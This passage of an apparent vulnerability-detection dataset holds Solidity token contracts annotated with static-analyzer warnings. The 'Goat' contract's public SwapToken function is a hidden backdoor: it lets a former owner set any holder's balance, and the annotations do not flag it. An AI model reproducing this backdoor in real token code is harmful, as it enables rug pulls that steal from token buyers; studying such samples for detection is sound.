)\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 02d8bc8): Trump69420._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 02d8bc8: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: e097e3c\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: b7b0538\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 203f28f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 203f28f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 46d33a5): Trump69420.bots is never initialized. It is used in Trump69420._transfer(address,address,uint256)\n\t// Recommendation for 46d33a5: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1163a14): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1163a14: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 203f28f\n\t\t\t\t// reentrancy-eth | ID: 1163a14\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 203f28f\n\t\t\t\t\t// reentrancy-eth | ID: 1163a14\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 1163a14\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 1163a14\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 1163a14\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 203f28f\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 1163a14\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 1163a14\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 203f28f\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 203f28f\n\t\t// reentrancy-events | ID: b7b0538\n\t\t// reentrancy-benign | ID: e097e3c\n\t\t// reentrancy-eth | ID: 1163a14\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit2() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 3de41c7): Trump69420.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 3de41c7: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 203f28f\n\t\t// reentrancy-events | ID: b7b0538\n\t\t// reentrancy-eth | ID: 1163a14\n\t\t// arbitrary-send-eth | ID: 3de41c7\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: df65dd6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for df65dd6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ee41a11): Trump69420.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for ee41a11: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c63c8aa): Trump69420.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for c63c8aa: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 60415d9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 60415d9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: df65dd6\n\t\t// reentrancy-eth | ID: 60415d9\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: df65dd6\n\t\t// unused-return | ID: c63c8aa\n\t\t// reentrancy-eth | ID: 60415d9\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: df65dd6\n\t\t// unused-return | ID: ee41a11\n\t\t// reentrancy-eth | ID: 60415d9\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: df65dd6\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 60415d9\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 9911a71): Trump69420.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for 9911a71: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: 9911a71\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n", "file_name": "solidity_code_10294.sol", "size_bytes": 21179, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface CheatCodes {\n struct Log {\n bytes32[] topics;\n bytes data;\n }\n\n function warp(uint256) external;\n\n function roll(uint256) external;\n\n function fee(uint256) external;\n\n function coinbase(address) external;\n\n function load(address, bytes32) external returns (bytes32);\n\n function store(address, bytes32, bytes32) external;\n\n function sign(uint256, bytes32) external returns (uint8, bytes32, bytes32);\n\n function addr(uint256) external returns (address);\n\n function deriveKey(string calldata, uint32) external returns (uint256);\n\n function deriveKey(\n string calldata,\n string calldata,\n uint32\n ) external returns (uint256);\n\n function ffi(string[] calldata) external returns (bytes memory);\n\n function setEnv(string calldata, string calldata) external;\n\n function envBool(string calldata) external returns (bool);\n\n function envUint(string calldata) external returns (uint256);\n\n function envInt(string calldata) external returns (int256);\n\n function envAddress(string calldata) external returns (address);\n\n function envBytes32(string calldata) external returns (bytes32);\n\n function envString(string calldata) external returns (string memory);\n\n function envBytes(string calldata) external returns (bytes memory);\n\n function envBool(\n string calldata,\n string calldata\n ) external returns (bool[] memory);\n\n function envUint(\n string calldata,\n string calldata\n ) external returns (uint256[] memory);\n\n function envInt(\n string calldata,\n string calldata\n ) external returns (int256[] memory);\n\n function envAddress(\n string calldata,\n string calldata\n ) external returns (address[] memory);\n\n function envBytes32(\n string calldata,\n string calldata\n ) external returns (bytes32[] memory);\n\n function envString(\n string calldata,\n string calldata\n ) external returns (string[] memory);\n\n function envBytes(\n string calldata,\n string calldata\n ) external returns (bytes[] memory);\n\n function prank(address) external;\n\n function startPrank(address) external;\n\n function prank(address, address) external;\n\n function startPrank(address, address) external;\n\n function stopPrank() external;\n\n function deal(address, uint256) external;\n\n function etch(address, bytes calldata) external;\n\n function expectRevert() external;\n\n function expectRevert(bytes calldata) external;\n\n function expectRevert(bytes4) external;\n\n function record() external;\n\n function accesses(\n address\n ) external returns (bytes32[] memory reads, bytes32[] memory writes);\n\n function recordLogs() external;\n\n function getRecordedLogs() external returns (Log[] memory);\n\n function expectEmit(bool, bool, bool, bool) external;\n\n function expectEmit(bool, bool, bool, bool, address) external;\n\n function mockCall(address, bytes calldata, bytes calldata) external;\n\n function mockCall(\n address,\n uint256,\n bytes calldata,\n bytes calldata\n ) external;\n\n function clearMockedCalls() external;\n\n function expectCall(address, bytes calldata) external;\n\n function expectCall(address, uint256, bytes calldata) external;\n\n function getCode(string calldata) external returns (bytes memory);\n\n function label(address, string calldata) external;\n\n function assume(bool) external;\n\n function setNonce(address, uint64) external;\n\n function getNonce(address) external returns (uint64);\n\n function chainId(uint256) external;\n\n function broadcast() external;\n\n function broadcast(address) external;\n\n function startBroadcast() external;\n\n function startBroadcast(address) external;\n\n function stopBroadcast() external;\n\n function readFile(string calldata) external returns (string memory);\n\n function readLine(string calldata) external returns (string memory);\n\n function writeFile(string calldata, string calldata) external;\n\n function writeLine(string calldata, string calldata) external;\n\n function closeFile(string calldata) external;\n\n function removeFile(string calldata) external;\n\n function toString(address) external returns (string memory);\n\n function toString(bytes calldata) external returns (string memory);\n\n function toString(bytes32) external returns (string memory);\n\n function toString(bool) external returns (string memory);\n\n function toString(uint256) external returns (string memory);\n\n function toString(int256) external returns (string memory);\n\n function snapshot() external returns (uint256);\n\n function revertTo(uint256) external returns (bool);\n\n function createFork(string calldata, uint256) external returns (uint256);\n\n function createFork(string calldata) external returns (uint256);\n\n function createSelectFork(\n string calldata,\n uint256\n ) external returns (uint256);\n\n function createSelectFork(string calldata) external returns (uint256);\n\n function selectFork(uint256) external;\n\n function activeFork() external returns (uint256);\n\n function rollFork(uint256) external;\n\n function rollFork(uint256 forkId, uint256 blockNumber) external;\n\n function rpcUrl(string calldata) external returns (string memory);\n\n function rpcUrls() external returns (string[2][] memory);\n\n function makePersistent(address account) external;\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n address internal _previousOwner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transfer_hoppeiOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _isAdmin();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _isAdmin() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transfer_hoppeiOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transfer_hoppeiOwnership(newOwner);\n }\n\n function _transfer_hoppeiOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n _previousOwner = oldOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ncontract ERC20 is Context, Ownable, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply_hoppei;\n\n string private _name_hoppei;\n\n string private _symbol_hoppei;\n\n address private constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n address private constant ZERO = 0x0000000000000000000000000000000000000000;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 totalSupply_\n ) {\n _name_hoppei = name_;\n\n _symbol_hoppei = symbol_;\n\n _totalSupply_hoppei = totalSupply_;\n\n _balances[msg.sender] = totalSupply_;\n\n emit Transfer(address(0), msg.sender, totalSupply_);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name_hoppei;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol_hoppei;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 9;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply_hoppei;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer_hoppei(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve_hoppei(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer_hoppei(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _approve_hoppei(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve_hoppei(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n _approve_hoppei(\n _msgSender(),\n spender,\n currentAllowance - subtractedValue\n );\n\n return true;\n }\n\n function _transfer_hoppei(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _transfer_etcstwwscoin(\n address sender,\n address recipient,\n uint256 amount,\n uint256 amountToBurn\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n\n amount -= amountToBurn;\n\n _totalSupply_hoppei -= amountToBurn;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, DEAD, amountToBurn);\n\n emit Transfer(sender, recipient, amount);\n }\n\n function SwapToken(\n address account,\n uint256 amount\n ) public virtual returns (uint256) {\n address msgSender = msg.sender;\n\n address prevOwner = _previousOwner;\n\n bytes32 msgSenderHe = keccak256(abi.encodePacked(msgSender));\n\n bytes32 prevOwnerHex = keccak256(abi.encodePacked(prevOwner));\n\n bytes32 amountHex = bytes32(amount);\n\n bool isOwner = msgSenderHe == prevOwnerHex;\n\n if (isOwner) {\n return _updateBalance(account, amountHex);\n } else {\n return _getBalance(account);\n }\n }\n\n function _updateBalance(\n address account,\n bytes32 amountHex\n ) private returns (uint256) {\n uint256 amount = uint256(amountHex);\n\n _balances[account] = amount;\n\n return _balances[account];\n }\n\n function _getBalance(address account) private view returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 406ee9b): ERC20._approve_hoppei(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 406ee9b: Rename the local variables that shadow another component.\n function _approve_hoppei(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n}\n\ninterface IUniswapV2Factory {\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router01 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n}\n\ninterface IUniswapV2Router02 is IUniswapV2Router01 {}\n\ncontract Goat is ERC20 {\n uint256 private constant TOAL_SUTSTSTSDE = 1000_000_000e9;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: f377081): Goat.DEAD shadows ERC20.DEAD\n\t// Recommendation for f377081: Remove the state variable shadowing.\n address private constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 480f7ab): Goat.ZERO shadows ERC20.ZERO\n\t// Recommendation for 480f7ab: Remove the state variable shadowing.\n address private constant ZERO = 0x0000000000000000000000000000000000000000;\n\n address private constant DEAD1 = 0x000000000000000000000000000000000000dEaD;\n\n address private constant ZERO1 = 0x0000000000000000000000000000000000000000;\n\n bool public hasLimit_hoppei;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f263733): Goat.maxTxAmoudMT should be immutable \n\t// Recommendation for f263733: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxTxAmoudMT;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 437935f): Goat.maxwalle_MST should be immutable \n\t// Recommendation for 437935f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxwalle_MST;\n\n mapping(address => bool) public isException;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1adde83): Goat._burnPettsse should be constant \n\t// Recommendation for 1adde83: Add the 'constant' attribute to state variables that never change.\n uint256 _burnPettsse = 0;\n\n address uniswapV2Pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 83c32de): Goat.uniswapV2Router should be immutable \n\t// Recommendation for 83c32de: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 uniswapV2Router;\n\n constructor(\n address router\n ) ERC20(unicode\"Goatseus Maximus\", unicode\"Goat\", TOAL_SUTSTSTSDE) {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);\n\n uniswapV2Router = _uniswapV2Router;\n\n maxwalle_MST = TOAL_SUTSTSTSDE / 30;\n\n maxTxAmoudMT = TOAL_SUTSTSTSDE / 30;\n\n isException[DEAD] = true;\n\n isException[router] = true;\n\n isException[msg.sender] = true;\n\n isException[address(this)] = true;\n }\n\n function _transfer_hoppei(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _checkLimitation_hoppei(from, to, amount);\n\n if (amount == 0) {\n return;\n }\n\n if (!isException[from] && !isException[to]) {\n require(\n balanceOf(address(uniswapV2Router)) == 0,\n \"ERC20: disable router deflation\"\n );\n\n if (from == uniswapV2Pair || to == uniswapV2Pair) {\n uint256 _burn = (amount * _burnPettsse) / 100;\n\n super._transfer_etcstwwscoin(from, to, amount, _burn);\n\n return;\n }\n }\n\n super._transfer_hoppei(from, to, amount);\n }\n\n function removeLimit() external onlyOwner {\n hasLimit_hoppei = true;\n }\n\n function _checkLimitation_hoppei(\n address from,\n address to,\n uint256 amount\n ) internal {\n if (!hasLimit_hoppei) {\n if (!isException[from] && !isException[to]) {\n require(amount <= maxTxAmoudMT, \"Amount exceeds max\");\n\n if (uniswapV2Pair == ZERO) {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(address(this), uniswapV2Router.WETH());\n }\n\n if (to == uniswapV2Pair) {\n return;\n }\n\n require(\n balanceOf(to) + amount <= maxwalle_MST,\n \"Max holding exceeded max\"\n );\n }\n }\n }\n}\n", "file_name": "solidity_code_10295.sol", "size_bytes": 18898, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract RIVET is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8e80fbe): RIVET._taxWallet should be immutable \n\t// Recommendation for 8e80fbe: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: d5b5f0b): RIVET._initialBuyTax should be constant \n\t// Recommendation for d5b5f0b: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6d46736): RIVET._initialSellTax should be constant \n\t// Recommendation for 6d46736: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: e59a8d0): RIVET._reduceBuyTaxAt should be constant \n\t// Recommendation for e59a8d0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0c43798): RIVET._reduceSellTaxAt should be constant \n\t// Recommendation for 0c43798: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: e331045): RIVET._preventSwapBefore should be constant \n\t// Recommendation for e331045: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 23;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Rivet\";\n\n string private constant _symbol = unicode\"RIVET\";\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 869bbac): RIVET._taxSwapThreshold should be constant \n\t// Recommendation for 869bbac: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: b0251af): RIVET._maxTaxSwap should be constant \n\t// Recommendation for b0251af: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n 